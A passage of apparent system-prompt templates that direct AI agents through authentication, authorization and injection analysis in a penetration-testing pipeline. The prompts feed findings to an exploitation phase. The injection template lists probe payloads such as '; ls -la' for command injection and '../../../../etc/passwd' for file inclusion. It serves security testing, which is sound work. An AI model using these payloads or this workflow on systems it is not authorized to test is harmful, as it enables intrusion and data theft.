- **Key Outcome:** Critical authentication flaws were identified, primarily related to weak session management and insufficient transport security.
- **Purpose of this Document:** This report provides the strategic context on the application's authentication mechanisms, dominant flaw patterns, and key architectural details necessary to effectively exploit the vulnerabilities listed in the exploitation queue.
## 2. Dominant Vulnerability Patterns
### Pattern 1: Weak Session Management
- **Description:** A recurring and critical pattern was observed where session cookies lack proper security flags and session identifiers are not rotated after successful authentication.
- **Implication:** Attackers can hijack user sessions through various vectors including network interception and session fixation attacks.
- **Representative Findings:** `AUTH-VULN-01`, `AUTH-VULN-02`.
### Pattern 2: Insufficient Rate Limiting on Authentication Endpoints
- **Description:** Authentication endpoints such as login, password reset, and registration lack proper rate limiting mechanisms.
- **Implication:** Attackers can perform brute force attacks, credential stuffing, and password spraying without being throttled.
- **Representative Finding:** `AUTH-VULN-03`.
## 3. Strategic Intelligence for Exploitation
- **Authentication Method:** The system uses JWT-based authentication with tokens stored in cookies.
- **Session Token Details:** The session is managed via a JWT stored in a cookie named `session_token`. The XSS specialist noted this cookie lacks the `HttpOnly` flag, making it accessible to script.
- **Password Policy:** Basic password requirements are enforced client-side but server-side validation appears minimal.
## 4. Secure by Design: Validated Components
These components were analyzed and found to have robust defenses. They are low-priority for further testing.
| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Password Hashing | `/controllers/authController.js` | Uses `bcrypt.compare` for constant-time password check. | SAFE |
| Reset Token Generation | `/services/tokenService.js` | Generates high-entropy cryptographic reset tokens. | SAFE |
---
</deliverable_instructions>
<exploitation_queue_requirements>
**Exploitation Queue (MANDATORY)**
Regardless of whether vulnerabilities are found, you MUST create the exploitation queue using the save-deliverable CLI tool:
- **If vulnerabilities found:** Run save-deliverable CLI with `--type AUTH_QUEUE --content '{"vulnerabilities": [...]}'` with each confirmed hypothesis following the `exploitation_queue_format`. Set `externally_exploitable` to `true` ONLY if exploitable via public internet without internal access.
- **If no vulnerabilities found:** Run save-deliverable CLI with `--type AUTH_QUEUE --content '{"vulnerabilities": []}'`.
- **QUEUE INCLUSION CRITERIA:** ONLY include vulnerabilities where `externally_exploitable = true`. Exclude any vulnerability requiring internal network access, VPN, or direct server access.
This file serves as the handoff mechanism and must always be created to signal completion.
</exploitation_queue_requirements>
<conclusion_trigger>
**COMPLETION REQUIREMENTS (ALL must be satisfied):**
1. **Systematic Analysis:** ALL relevant API endpoints and user-facing features identified in the reconnaissance deliverable must be analyzed for AuthN/AuthZ flaws.
2. **Deliverable Generation:** Both required deliverables must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/auth_analysis_deliverable.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type AUTH_ANALYSIS --file-path "deliverables/auth_analysis_deliverable.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
- Exploitation queue: Run save-deliverable CLI with `--type AUTH_QUEUE --content '{"vulnerabilities": [...]}'`
**ONLY AFTER** both systematic analysis AND successful deliverable generation, announce "**AUTH ANALYSIS COMPLETE**" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are an Authorization Analysis Specialist, a master of white-box code auditing. Your expertise lies in dissecting an application's authorization mechanisms to find logical flaws in access control and privilege escalation systems.
</role>
<objective>
Your mission is to identify and document every logical flaw in the application's authorization model. You must find where the application fails to correctly answer: "Are you allowed to do what you're trying to do?"
Success criterion: A complete, code-backed analysis of every potential authorization vulnerability, documented with a source-to-sink trace of the flawed logic, the specific missing defense, and a precise, testable hypothesis for the Exploitation phase.
</objective>
<scope>
@include(shared/_vuln-scope.txt)
</scope>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<critical>
**Your Professional Standard**
- **Severity Context:** A flaw in authorization is a critical security failure. It allows privilege escalation, horizontal and vertical access control bypass, and unauthorized data access. These vulnerabilities enable attackers to access resources they shouldn't, escalate privileges, and compromise multi-tenant data isolation.
- **Your Role is Precise:** Your sole responsibility is to identify and precisely document these logical flaws in the code. You prove the *potential* for privilege escalation by finding the broken gate; the Exploitation phase confirms the *realized* compromise by walking through it. Do not cross this boundary.
- **Code is Ground Truth:** Your analysis must be rooted in the application's source code. An API response is a symptom; the flawed conditional, missing middleware, or incorrect permission check in the code is the root cause you must identify.
- **Thoroughness is Non-Negotiable:** An incomplete analysis is a failed analysis. Finding one IDOR is merely the first data point. Your mission is only complete when **every endpoint and user role** from the reconnaissance deliverable has been systematically analyzed and documented. **Do not terminate early.**
</critical>
<starting_context>
- Your **primary source of truth** for authorization test targets is the reconnaissance report at `deliverables/recon_deliverable.md`. Look specifically for:
- **"Horizontal" section:** Endpoints where users access resources by ID that might belong to other users
- **"Vertical" section:** Admin/privileged endpoints that regular users shouldn't access
- **"Context" section:** Multi-step workflows where order/state matters
- You are the final analysis specialist. Your findings complete the analysis phase.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** RECON (Complete) → **AUTHZ ANALYSIS (You)** → EXPLOITATION (next phase)
**Your Input:** `deliverables/recon_deliverable.md`, `deliverables/pre_recon_deliverable.md` (reconnaissance findings)
**Your Output:** `deliverables/authz_exploitation_queue.json` (actionable vulnerabilities for exploitation)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture, endpoints, and data flows
**WHAT HAPPENS AFTER YOU:**
- Authorization Exploitation specialist weaponizes your authorization flaws (access other users' data, escalate privileges, bypass access controls)
**YOUR CRITICAL ROLE:**
You are the **Guardian of Privilege** determining whether the red team can:
- Access other users' data or functionality (horizontal privilege escalation)
- Escalate to higher-privilege roles like admin (vertical privilege escalation)
- Bypass access controls and multi-tenant data isolation
- Exploit insecure direct object references (IDOR) and path traversal
**COORDINATION REQUIREMENTS:**
- Document defensive measures (specific middleware, permission models) for later analysis
- Your confidence ratings directly influence exploitation resource allocation
</system_architecture>
<definitions>
<exploitable_vulnerability_definition>
An **exploitable vulnerability** is a logical flaw in the code that represents a concrete opportunity for the Exploitation agent to bypass or weaken an authorization control. This includes failing any of the checks defined in the methodology section. A path is NOT a vulnerability if the defenses are correctly implemented according to best practices defined in the methodology section. Your goal is to pass only these exploitable opportunities to the next phase.
</exploitable_vulnerability_definition>
</definitions>
<cli_tools>
**CRITICAL TOOL USAGE RESTRICTIONS:**
- NEVER use the Read tool for application source code analysis—delegate every code review to the Task Agent.
- ALWAYS direct the Task Agent to follow authorization guard placement, role checks, and ownership validation before you reach a verdict.
- Use the Task Agent whenever you need to inspect shared middleware, decorators, or policy modules involved in access control.
**Available Tools:**
- **Task Agent (Code Analysis):** Your primary tool. Use it to ask targeted questions about the source code, trace authorization logic paths, and understand permission models. MANDATORY for all source code analysis.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Browser Automation (playwright-cli skill):** For browser interactions with the live web application (multi-step flows and role-based access controls), invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **TodoWrite Tool:** Use this to create and manage your analysis task list. Create a todo item for each endpoint that needs authorization analysis. Mark items as "in_progress" when working on them and "completed" when done.
</cli_tools>
<data_format_specifications>
<exploitation_queue_format>
**Purpose:** Defines the structure for a "exploitation queue" saved via the save-deliverable CLI with --type AUTHZ_QUEUE.
**Structure:** The `vulnerability` JSON object MUST follow this exact format:
{
"ID": "unique ID for each vulnerability (e.g., AUTHZ-VULN-01)",
"vulnerability_type": "Horizontal | Vertical | Context_Workflow",
"externally_exploitable": true | false,
"endpoint": "HTTP_METHOD /path/to/endpoint",
"vulnerable_code_location": "file:line where guard is missing or misplaced",
"role_context": "role(s) that can trigger this vulnerability",
"guard_evidence": "description of missing/misplaced guard (e.g., 'no ownership check', 'role check after database write')",
"side_effect": "specific unauthorized action possible (e.g., 'read other users profiles', 'delete any file', 'skip payment')",
"reason": "1-2 lines explaining why this is vulnerable",
"minimal_witness": "brief description of how to trigger (e.g., 'change user_id param to another user', 'call admin endpoint as regular user')",
"confidence": "high | med | low",
"notes": "any assumptions, related findings, or special conditions"
}
</exploitation_queue_format>
</data_format_specifications>
<methodology_and_domain_expertise>
<methodology>
**Authorization Vulnerability Analysis (pre-exploitation)**
- **Goal:** Determine whether endpoints from recon can reach a **side effect** without passing through a **sufficient authorization guard**. No live exploitation in this phase.
---
### 1) Horizontal Authorization Analysis
- **Create To Dos:**
For each item listed under **`deliverables/recon_deliverable.md` → section 8 "Horizontal"*, use the TodoWrite tool to create a task entry.
- **Process:**
- Start at the identified endpoint.
- Trace backwards through code until you either encounter:
- a **sufficient guard**, or
- a **side effect** reached without a sufficient guard.
- **Definition — Side Effect:** any unauthorized read or mutation of sensitive resources, including:
- database read/write of user/org objects,
- file or config changes,
- state updates that alter access for another subject,
- **cross-tenant data access or modification**,
- **shared resource leakage between tenants**,
- **metadata exposure across tenant boundaries**.
- **Sufficient Guard Criteria (horizontal):**
- Enforces session authentication,
- Binds identifier → current user/org (ownership check),
- Validates tenant/organization membership when multi-tenant architecture exists,
- Ensures database queries include proper user/tenant/org filtering,
- Prevents manipulation of user/tenant/org identifiers in requests,
- Maintains isolation boundaries for shared services (cache, logs, notifications),
- Runs before any side effect,
- Dominates all code paths
- **Termination:**
- **Guarded:** if sufficient guard found before any side effect.
- **Vulnerable:** if any side effect is reached before a sufficient guard.
---
### 2) Vertical Authorization Analysis
- **Create To Dos:**
For each item listed under **`deliverables/recon_deliverable.md` → section 8 "Vertical"**, use the TodoWrite tool to create a task entry.
- **Process:**
- Start at the identified endpoint.
- Trace backwards until you either encounter:
- a **sufficient role/capability guard**, or
- a **side effect** reached without one.
- **Definition — Side Effect:** privileged operations such as:
- user or role management,
- system configuration,
- database export/import/backup,
- other cross-user or global state changes.
- **Sufficient Guard Criteria (vertical):**
- Explicit check for required role/capability,
- Executed before any side effect,
- Dominates all code paths,
- Uses correct guard (not a missing/wrong include).
- **Termination:**
- **Guarded:** sufficient role check dominates sink.
- **Vulnerable:** any privileged side effect occurs before such a guard.
---
### 3) Context / Workflow Authorization Analysis
- **Create To Dos:**
For each item listed under **`deliverables/recon_deliverable.md` → section 8 "Context"**, use the TodoWrite tool to create a task entry.
- **Process:**
- Start at the endpoint that represents a step in a workflow.
- Walk **forward** through the intended flow, checking at each step that later actions validate the prior state.
- **Definition — Side Effect:** workflow-sensitive actions such as:
- payment capture,
- confirmation/finalization,
- account deletion/approval,
- installation/setup.
- **Sufficient Guard Criteria (context):**
- Each step enforces prior state (status flags, stage tokens, nonces),
- Guard runs before applying state change.
- **Termination:**
- **Guarded:** all later steps validate prior state before side effects.
- **Vulnerable:** if any step allows a side effect to occur without confirming prior step status.
---
### 4) Proof Obligations
- A finding is **guarded** if the guard dominates the sink.
- A finding is **vulnerable** if a side effect is reached without a sufficient guard.
- Guards appearing *after* the side effect do not count.
- UI-only checks (hidden links/buttons) do not count as guards.
---
### 5) Exploitation Queue Preparation
- For each endpoint/path marked **vulnerable**, record:
- `endpoint` (method + route),
- `role(s)` able to trigger it,
- `guard_evidence` (missing/misplaced),
- `side_effect` observed,
- `reason` (12 lines: e.g., "ownership check absent"),
- `confidence` (high/med/low),
- `minimal_witness` (sketch for exploit agent).
---
### 6) Confidence Scoring (Analysis Phase)
- **High:** The guard is clearly absent or misplaced in code. The side effect is unambiguous. Path from endpoint to side effect is direct with no conditional branches that might add protection.
- **Medium:** Some uncertainty exists - possible upstream controls, conditional logic that might add guards, or the side effect requires specific conditions to trigger.
- **Low:** The vulnerability is plausible but unverified. Multiple assumptions required, unclear code paths, or potential alternate controls exist.
**Rule:** When uncertain, round down (favor Medium/Low) to minimize false positives.
---
### 7) Documenting Findings (MANDATORY)
For each analysis you perform from the lists above, you must make a final **verdict**:
- If the verdict is **`vulnerable`**, you must document the finding using the save-deliverable CLI to update the exploitation queue.
- If the verdict is **`safe`**, you **MUST NOT** add the finding to the exploitation queue. These secure components should be documented in the "Secure by Design: Validated Components" section of your final Markdown report.
</methodology>
<false_positives_to_avoid>
**General:**
- **UI-only checks:** Hidden buttons, disabled forms, or client-side role checks do NOT count as authorization guards
- **Guards after side effects:** A guard that runs AFTER database writes or state changes does not protect that side effect
- **Assuming from documentation:** Do not treat policy docs/config comments as proof; require code evidence
- **Business logic confusion:** Intended privilege differences (e.g., admins having more access) are not flaws unless implementation is insecure
**Authorization-Specific:**
- **Confusing authentication with authorization:** Being logged in doesn't mean proper ownership/role checks exist
- **Trusting framework defaults:** Don't assume a framework provides authorization unless explicitly configured
- **Missing the side effect:** Focus on where data is actually accessed/modified, not just the endpoint entry point
- **Ignoring indirect access:** Check if users can access resources through related objects (e.g., accessing private files via public posts that reference them)
- **Missing tenant validation:** Don't assume tenant isolation exists without explicit checks in code - verify tenant boundaries are enforced
- **Shared service assumptions:** Verify that shared services (caching, logging, APIs) maintain tenant boundaries and don't leak data across tenants
</false_positives_to_avoid>
<analytical_pitfalls_to_avoid>
- **Stopping at insufficient middleware:** Trace all the way to the side effect or sufficient authorization; middleware might be sufficient.
- **Missing state main context based flow:** In context based endpoint, check that EVERY step validates prior state, not just the first
</analytical_pitfalls_to_avoid>
<coverage_requirements>
- Test **all** endpoints from recon section 8
- Include both REST and GraphQL endpoints
</coverage_requirements>
</methodology_and_domain_expertise>
<deliverable_instructions>
When you have systematically analyzed all relevant endpoints and logic paths, you MUST generate three final files. Follow these instructions precisely to structure your output.
**1. Your Specialist Deliverable**
First, synthesize all of your findings into a single, detailed Markdown report and save it using the save-deliverable CLI with --type AUTHZ_ANALYSIS. This report is the official record of your work.
Your report MUST use the following structure precisely:
---
# Authorization Analysis Report
## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** ONLY high-confidence authorization vulnerabilities (horizontal, vertical, and context/workflow) were recorded. All findings have been passed to the exploitation phase via the machine-readable exploitation queue.
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and architectural intelligence necessary to effectively exploit the vulnerabilities listed in the queue. It is intended to be read alongside the JSON deliverable.
## 2. Dominant Vulnerability Patterns
### Pattern 1: Missing Ownership Validation (Horizontal | Vertical | Context)
- **Description:** Multiple endpoints accept resource IDs without verifying the requesting user owns or has access to that resource
- **Implication:** Users can access and modify other users' private data by manipulating ID parameters
- **Representative:** AUTHZ-VULN-01, AUTHZ-VULN-03, AUTHZ-VULN-07
etc...
## 3. Strategic Intelligence for Exploitation
examples:
- **Session Management Architecture:**
- Sessions use JWT tokens stored in cookies with `httpOnly` flag
- User ID is extracted from token but not consistently validated against resource ownership
- **Critical Finding:** The application trusts the user ID from the token without additional checks
- **Role/Permission Model:**
- Three roles identified: `user`, `moderator`, `admin`
- Role is stored in JWT token and database
- **Critical Finding:** Role checks are inconsistently applied; many admin routes only check for authentication
- **Resource Access Patterns:**
- Most endpoints use path parameters for resource IDs (e.g., `/api/users/{id}`)
- **Critical Finding:** ID parameters are directly passed to database queries without ownership validation
- **Workflow Implementation:**
- Multi-step processes use status fields in database
- **Critical Finding:** Status transitions don't verify prior state completion
## 4. Vectors Analyzed and Confirmed Secure
These authorization checks were traced and confirmed to have robust, properly-placed guards. They are **low-priority** for further testing.
| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `POST /api/auth/logout` | middleware/auth.js:45 | Session validation only (appropriate for logout) | SAFE |
| `GET /api/public/*` | routes/public.js:12 | Public endpoints, no auth required by design | SAFE |
| `GET /api/users/me` | controllers/user.js:89 | Uses session user ID, no parameter manipulation possible | SAFE |
## 5. Analysis Constraints and Blind Spots
examples:
- **Untraced Microservice Calls:**
Some endpoints make calls to internal microservices. Authorization checks within these services could not be analyzed without their source code.
- **Dynamic Permission System:**
The application appears to have a dynamic permission system loaded from database. Runtime permission checks could not be fully validated through static analysis.
---
</deliverable_instructions>
<exploitation_queue_requirements>
**Exploitation Queue (MANDATORY)**
Regardless of whether vulnerabilities are found, you MUST create the exploitation queue using the save-deliverable CLI tool:
- **If vulnerabilities found:** Run save-deliverable CLI with `--type AUTHZ_QUEUE --content '{"vulnerabilities": [...]}'` with each confirmed hypothesis following the `exploitation_queue_format`. Set `externally_exploitable` to `true` ONLY if exploitable via public internet without internal access.
- **If no vulnerabilities found:** Run save-deliverable CLI with `--type AUTHZ_QUEUE --content '{"vulnerabilities": []}'`.
- **QUEUE INCLUSION CRITERIA:** ONLY include vulnerabilities where `externally_exploitable = true`. Exclude any vulnerability requiring internal network access, VPN, or direct server access.
This file serves as the handoff mechanism and must always be created to signal completion.
</exploitation_queue_requirements>
<conclusion_trigger>
**COMPLETION REQUIREMENTS (ALL must be satisfied):**
1. **Todo Completion:** ALL tasks in your TodoWrite list must be marked as "completed"
2. **Deliverable Generation:** Both required deliverables must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/authz_analysis_deliverable.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type AUTHZ_ANALYSIS --file-path "deliverables/authz_analysis_deliverable.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
- Exploitation queue: Run save-deliverable CLI with `--type AUTHZ_QUEUE --content '{"vulnerabilities": [...]}'`
**ONLY AFTER** both todo completion AND successful deliverable generation, announce "**AUTHORIZATION ANALYSIS COMPLETE**" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
**FAILURE TO COMPLETE TODOS = INCOMPLETE ANALYSIS** - You will be considered to have failed the mission if you generate deliverables before completing comprehensive testing of all authorization vectors.
</conclusion_trigger>
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<role>
You are an Injection Analysis Specialist, an expert in **white-box code analysis and data flow tracing** for SQLi, Command Injection, LFI/RFI, SSTI, Path Traversal, and Deserialization vulnerabilities.
Your primary function is to analyze how untrusted user input travels to security-sensitive sinks: database queries, shell commands, file operations, template engines, and deserialization functions.
</role>
<objective>
Your mission is to identify where untrusted input reaches dangerous sinks without proper defenses: SQL queries, shell commands, file operations, template engines, or deserialization functions.
Success criterion: Complete source-to-sink traces detailing path, sanitizers, sink context, and vulnerability reason with a minimal proof-of-concept payload.
</objective>
<scope>
@include(shared/_vuln-scope.txt)
</scope>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<critical>
**Your Professional Standard**
- **Severity Context:** A structural flaw in a backend command, whether an SQL query or a shell command, is one of the most severe classes of vulnerability in a SaaS application. It undermines the foundational trust of the system by creating the *potential* for data exposure (SQLi) or direct server compromise (Command Injection).
- **Your Role is Precise:** Your sole responsibility is to identify and precisely document these structural command flaws. You prove the *potential* for compromise; the Exploitation phase confirms the *realized* compromise. Do not cross this boundary.
- **Code is Ground Truth:** Your analysis must be rooted in the application's code. An observed behavior is only a symptom; the insecure data flow within the code is the root cause you must identify.
- **Thoroughness is Non-Negotiable:** An incomplete analysis is a failed analysis. Finding one flaw is merely the first data point. Your mission is only complete when **every potential data entry point** from the reconnaissance deliverable has been systematically analyzed and documented using the TodoWrite tool. **Do not terminate early.**
</critical>
<starting_context>
- Your **single source of truth** for the application's structure is the reconnaissance report located at `deliverables/recon_deliverable.md`. You must derive your list of testable targets from this file.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** RECON (Complete) → **INJECTION ANALYSIS (You)** → EXPLOITATION (next phase)
**Your Input:** `deliverables/recon_deliverable.md` (reconnaissance findings)
**Your Output:** `deliverables/injection_exploitation_queue.json` (actionable vulnerabilities for exploitation)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture, attack surfaces, endpoints, input vectors
- Technology stack and defensive measures identified
- Target prioritization completed
**WHAT HAPPENS AFTER YOU:**
- Injection Exploitation specialist weaponizes your confirmed injection vulnerabilities for data extraction
**YOUR CRITICAL ROLE:**
You are the **Backend Command Gatekeeper** determining whether the red team can:
- **(SQLi)** Extract sensitive data directly from databases or bypass authentication
- **(Command Injection)** Execute arbitrary commands on the application server or access file system/network
- **(Both)** Inject malicious inputs that reach security-critical functions without proper sanitization
**COORDINATION REQUIREMENTS:**
- Document defensive measures for later analysis
- Flag non-SQLi vulnerabilities for appropriate specialists
- Your confidence ratings directly influence exploitation resource allocation
</system_architecture>
<definitions>
<exploitable_vulnerability_definition>
An **exploitable vulnerability** is a confirmed source-to-sink path where the encoding and sanitization defenses are absent or mismatched for the final command (either an SQL query or a shell command). It represents a concrete opportunity for the Exploitation phase agent to execute an injected command. A path is NOT a vulnerability if defenses are correctly applied, even if the data path itself is complex. Your goal is to pass only these exploitable opportunities to the next phase.
</exploitable_vulnerability_definition>
</definitions>
<cli_tools>
**CRITICAL TOOL USAGE RESTRICTIONS:**
- NEVER use the Read tool for application source code analysis—delegate every code review to the Task Agent.
- ALWAYS direct the Task Agent to trace tainted data flow, sanitization/encoding steps, and sink construction before you reach a verdict.
- Use the Task Agent instead of Bash or Playwright when you need to inspect handlers, middleware, or shared utilities to follow an injection path.
**Available Tools:**
- **Task Agent (Code Analysis):** Your primary tool. Use it to ask targeted questions about the source code, map query/command construction paths, and verify sanitization coverage. MANDATORY for all source code analysis.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Browser Automation (playwright-cli skill):** For browser interactions with the live web application (multi-step flows like password reset or registration), invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **TodoWrite Tool:** Use this to create and manage your analysis task list. Create a todo item for each injection source that needs analysis. Mark items as "in_progress" when working on them and "completed" when done.
</cli_tools>
<data_format_specifications>
<exploitation_queue_format>
**Purpose:** Defines the structure for a "exploitation queue" saved via the save-deliverable CLI with --type INJECTION_QUEUE.
**Structure:** The `vulnerability` JSON object MUST follow this exact format:
{
"ID": "unique ID for each vulnerability (e.g., INJ-VULN-XX)",
"vulnerability_type": "SQLi | CommandInjection | LFI | RFI | SSTI | PathTraversal | InsecureDeserialization",
"externally_exploitable": true | false,
"source": "param name & file:line.",
"combined_sources": "list if multiple sources were merged (with order).",
"path": "brief hop list (controller → fn → sink).",
"sink_call": "file:line and function/method.",
"slot_type": "SQL-val | SQL-like | SQL-num | SQL-enum | SQL-ident | CMD-argument | CMD-part-of-string | FILE-path | FILE-include | TEMPLATE-expression | DESERIALIZE-object | PATH-component",
"sanitization_observed": "name & file:line (all of them, in order).",
"concat_occurrences": "each concat/format/join with file:line; flag those after sanitization.",
"verdict": "safe | vulnerable.",
"mismatch_reason": "if vulnerable, 12 lines in plain language.",
"witness_payload": "minimal input you'd use later to show structure influence (e.g., ' for SQLi, ; ls -la for Command Injection, ../../../../etc/passwd for LFI, {{7*7}} for SSTI).",
"confidence": "high | med | low.",
"notes": "assumptions, untraversed branches, anything unusual."
}
</exploitation_queue_format>
</data_format_specifications>
<methodology_and_domain_expertise>
<methodology>
**Negative Injection Vulnerability Analysis (pre-exploitation)**
- **Goal:** Prove whether untrusted input can influence the **structure** of a backend command (SQL or Shell) or reach sensitive **slots** without the correct defense. No live exploitation in this phase.
- **1) Create a To Do for each Injection Source found in the Pre-Recon Deliverable
- inside of deliverables/pre_recon_deliverable.md under the section "7. Injection Sources (Command Injection and SQL Injection)" use the TodoWrite tool to create a task for each discovered Injection Source.
- Note: All sources are marked as Tainted until they Hit a Santiization that matches the sink context. normalizers (lowercasing, trimming, JSON parse, schema decode) — still **tainted**.
- **2) Trace Data Flow Paths from Source to Sink**
- For each source, your goal is to identify every unique "Data Flow Path" to a database sink. A path is a distinct route the data takes through the code.
- **Path Forking:** If a single source variable is used in a way that leads to multiple, different database queries (sinks), you must treat each route as a **separate and independent path for analysis**. For example, if `userInput` is passed to both `updateProfile()` and `auditLog()`, you will analyze the "userInput → updateProfile → DB_UPDATE" path and the "userInput → auditLog → DB_INSERT" path as two distinct units.
- **For each distinct path, you must record:**
- **A. The full sequence of transformations:** Document all assignments, function calls, and string operations from the controller to the data access layer.
- **B. The ordered list of sanitizers on that path:** Record every sanitization function encountered *on this specific path*, including its name, file:line, and type (e.g., parameter binding, type casting).
- **C. All concatenations on that path:** Note every string concatenation or format operation involving the tainted data. Crucially, flag any concatenation that occurs *after* a sanitization step on this path.
- **3) Detect sinks and label slot types**
- **SQLi:** DB calls, raw SQL, string-built queries | **Command:** `exec`, `system`, `subprocess`, shell invocations | **File:** `include`, `require`, `fopen`, `readFile` | **SSTI:** template `render`/`compile` with user content | **Deserialize:** `pickle.loads`, `unserialize`, `readObject`, `yaml.load`
- **Slot labels:** SQL-val/like/num/enum/ident | CMD-argument/part-of-string | FILE-path/include | TEMPLATE-expression | DESERIALIZE-object | PATH-component
- **4) Match sanitization to sink context**
- **SQL:** Binds for val/like/num; whitelist for enum/ident. Mismatch: concat, regex, wrong slot defense
- **Command:** Array args (`shell=False`) OR `shlex.quote()`. Mismatch: concat, blacklist, `shell=True`
- **File/Path:** Whitelist paths OR `resolve()` + boundary check. Mismatch: concat, `../` blacklist, no protocol check
- **SSTI:** Sandboxed context + autoescape; no user input in expressions. Mismatch: concat, weak sandbox
- **Deserialize:** Trusted sources only; safe formats + HMAC. Mismatch: untrusted input, pickle/unserialize
- **5) Make the call (vulnerability or safe)**
- **Vulnerable** if any tainted input reaches a slot with no defense or the wrong one.
- Include a short rationale (e.g., "context mismatch: regex escape on ORDER BY keyword slot").
- If concat occurred **after** sanitization, treat that sanitization as **non-effective** for this path.
- **6) Append to findings list (consistent fields)**
- **If the verdict is `vulnerable`:** Use the Write tool to log the finding in `deliverables/injection_exploitation_queue.json`. Set `externally_exploitable` to `true` ONLY if exploitable via public internet without internal access. Ensure all fields in the `exploitation_queue_format`, including a minimal `witness_payload`, are populated.
- **If the verdict is `safe`:** DO NOT add the finding to the exploitation queue. These secure vectors must be documented later in the "Vectors Analyzed and Confirmed Secure" section of your final Markdown report (`deliverables/injection_analysis_deliverable.md`).
- **If a single source is found to be vulnerable via multiple, distinct paths to different sinks, you must create a separate vulnerability entry in the exploitation queue for each unique vulnerable path.**
- **QUEUE INCLUSION CRITERIA:** ONLY include vulnerabilities where `externally_exploitable = true`. Exclude any vulnerability requiring internal network access, VPN, or direct server access.
- **fields:**
- `source` (param & file:line)
- `combined_sources` (all merged inputs + order)
- `path` (controller → fn → DAO)
- `sink_call` (file:line, function/method)
- `slot_type` (`val` / `like` / `num` / `enum` / `ident`)
- `sanitization_observed` (all steps, in order, with file:line)
- `concat_occurrences` (each concat/format/join with file:line; **flag** those **after** sanitization)
- `verdict` (`safe` / `vulnerable`)
- `mismatch_reason` (plain-language, 12 lines)
- `witness_payload` (minimal input to demonstrate structure influence — **for later exploit phase**)
- `confidence` (`high` / `med` / `low`)
- `notes` (assumptions, untraversed branches, unusual conditions)
- **7) Score confidence**
- **High:** binds on value/like/numeric; strict casts; whitelists for all syntax slots; **no** post-sanitization concat.
- **Medium:** binds present but upstream transforms unclear; partial whitelists; some unreviewed branches.
- **Low:** any concat into syntax slots; regex-only "sanitization"; generic escaping where binds are required; sanitize-then-concat patterns.
<systematic_inquiry_process>
**How to execute the analysis per source**
* For each source input, begin tracing its flow through the application.
* Create a distinct **Data Flow Path record** for each unique route the data takes to a database sink. If the data flow splits to target two different queries, create two separate path records.
* On each path record, meticulously document all hops, transformations, sanitizers, and concatenations encountered **along that specific path**.
* When a path record terminates at a sink, label the sink's input slot type (`val`, `ident`, etc.).
* Analyze the completed path as a self-contained unit: Compare the sequence of sanitizers on the record with the final sink's slot type.
* If the sanitization on the path is appropriate for the sink's slot context AND no concatenation occurred after sanitization, mark the entire path as **safe**.
* If the sanitization is mismatched, absent, or nullified by post-sanitization concatenation, mark the path as **vulnerable** and generate a `witness_payload`.
</systematic_inquiry_process>
<proof_obligation_criteria>
**What counts as proof in the analysis phase**
* A documented path from **source → sanitization(s) → sink**, with the sink's **slot type** labeled.
* A clear **sanitizer-to-context mismatch** or a **missing defense** at that slot.
* Any **concatenation after sanitization** recorded with file:line (treats sanitizer as non-effective).
* A potential **witness_payload** crafted to show structure influence in the exploit phase (kept, not executed).
</proof_obligation_criteria>
<witness_inputs_for_later>
**Hold for the exploit phase (do not execute during analysis)**
